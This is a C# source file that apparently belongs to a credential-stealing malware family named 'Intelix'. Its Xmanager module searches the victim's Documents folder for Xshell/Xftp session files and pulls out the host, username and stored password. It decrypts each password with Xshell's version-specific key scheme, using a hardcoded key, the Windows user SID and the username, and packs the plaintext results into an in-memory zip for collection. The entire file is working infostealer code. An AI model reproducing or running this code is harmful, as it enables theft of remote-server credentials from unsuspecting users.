using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using Intelix.Helper.Data;
using Intelix.Helper.Encrypted;

namespace Intelix.Targets.Applications;

public class Xmanager : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		WindowsIdentity current = WindowsIdentity.GetCurrent();
		string sid = current.User.ToString();
		DirectoryInfo root = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
		List<string> source = Search(root);
		ConcurrentBag<string> lines = new ConcurrentBag<string>();
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "Xmanager";
		Parallel.ForEach(source, delegate(string sessionFile)
		{
			List<string> list = ReadConfigFile(sessionFile);
			if (list.Count >= 4)
			{
				string text2 = list[0]?.Trim() ?? "";
				string text3 = list[1] ?? "";
				string text4 = list[2] ?? "";
				string text5 = list[3] ?? "";
				string text6 = "  Version : " + text2 + "\n";
				text6 = text6 + "  Host    : " + text3 + "\n";
				text6 = text6 + "  User    : " + text4 + "\n";
				text6 = text6 + "  RawPass : " + text5 + "\n";
				string text7 = DecryptToString(text4, sid, text5, text2);
				text6 = text6 + "  Decrypted: " + text7 + "\n\n";
				lines.Add(text6);
				counterApplications.Files.Add(sessionFile + " => Xmanager\\sessions.txt");
			}
		});
		if (lines.Any())
		{
			string text = "Xmanager\\sessions.txt";
			zip.AddTextFile(text, string.Concat(lines));
			counterApplications.Files.Add(text);
			counter.Applications.Add(counterApplications);
		}
	}

	private List<string> Search(DirectoryInfo root)
	{
		List<string> list = new List<string>();
		if (!root.Exists)
		{
			return list;
		}
		Stack<DirectoryInfo> stack = new Stack<DirectoryInfo>();
		stack.Push(root);
		while (stack.Count > 0)
		{
			DirectoryInfo directoryInfo = stack.Pop();
			try
			{
				FileInfo[] files = directoryInfo.GetFiles();
				for (int i = 0; i < files.Length; i++)
				{
					string fullName = files[i].FullName;
					if (fullName.EndsWith(".xsh", StringComparison.OrdinalIgnoreCase) || fullName.EndsWith(".xfp", StringComparison.OrdinalIgnoreCase))
					{
						list.Add(fullName);
					}
				}
				DirectoryInfo[] directories = directoryInfo.GetDirectories();
				foreach (DirectoryInfo item in directories)
				{
					stack.Push(item);
				}
			}
			catch
			{
			}
		}
		return list;
	}

	private List<string> ReadConfigFile(string path)
	{
		string input = File.ReadAllText(path);
		string value = Regex.Match(input, "Version=(.*)", RegexOptions.Multiline).Groups[1].Value;
		string value2 = Regex.Match(input, "Host=(.*)", RegexOptions.Multiline).Groups[1].Value;
		string value3 = Regex.Match(input, "UserName=(.*)", RegexOptions.Multiline).Groups[1].Value;
		string value4 = Regex.Match(input, "Password=(.*)", RegexOptions.Multiline).Groups[1].Value;
		List<string> list = new List<string> { value, value2, value3 };
		if (!string.IsNullOrEmpty(value4) && value4.Length > 3)
		{
			list.Add(value4);
		}
		return list;
	}

	private string DecryptToString(string username, string sid, string rawPass, string ver)
	{
		byte[] array = Convert.FromBase64String(rawPass);
		byte[] key;
		if (ver.StartsWith("5.0") || ver.StartsWith("4") || ver.StartsWith("3") || ver.StartsWith("2"))
		{
			key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&"));
		}
		else if (ver.StartsWith("5.1") || ver.StartsWith("5.2"))
		{
			key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(sid));
		}
		else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0"))
		{
			key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(username + sid));
		}
		else
		{
			string s = new string((new string(username.ToCharArray().Reverse().ToArray()) + sid).ToCharArray().Reverse().ToArray());
			key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(s));
		}
		byte[] array2 = new byte[array.Length - 32];
		Array.Copy(array, 0, array2, 0, array2.Length);
		byte[] array3 = RC4Crypt.Decrypt(key, array2);
		if (array3 == null)
		{
			return string.Empty;
		}
		return Encoding.ASCII.GetString(array3);
	}
}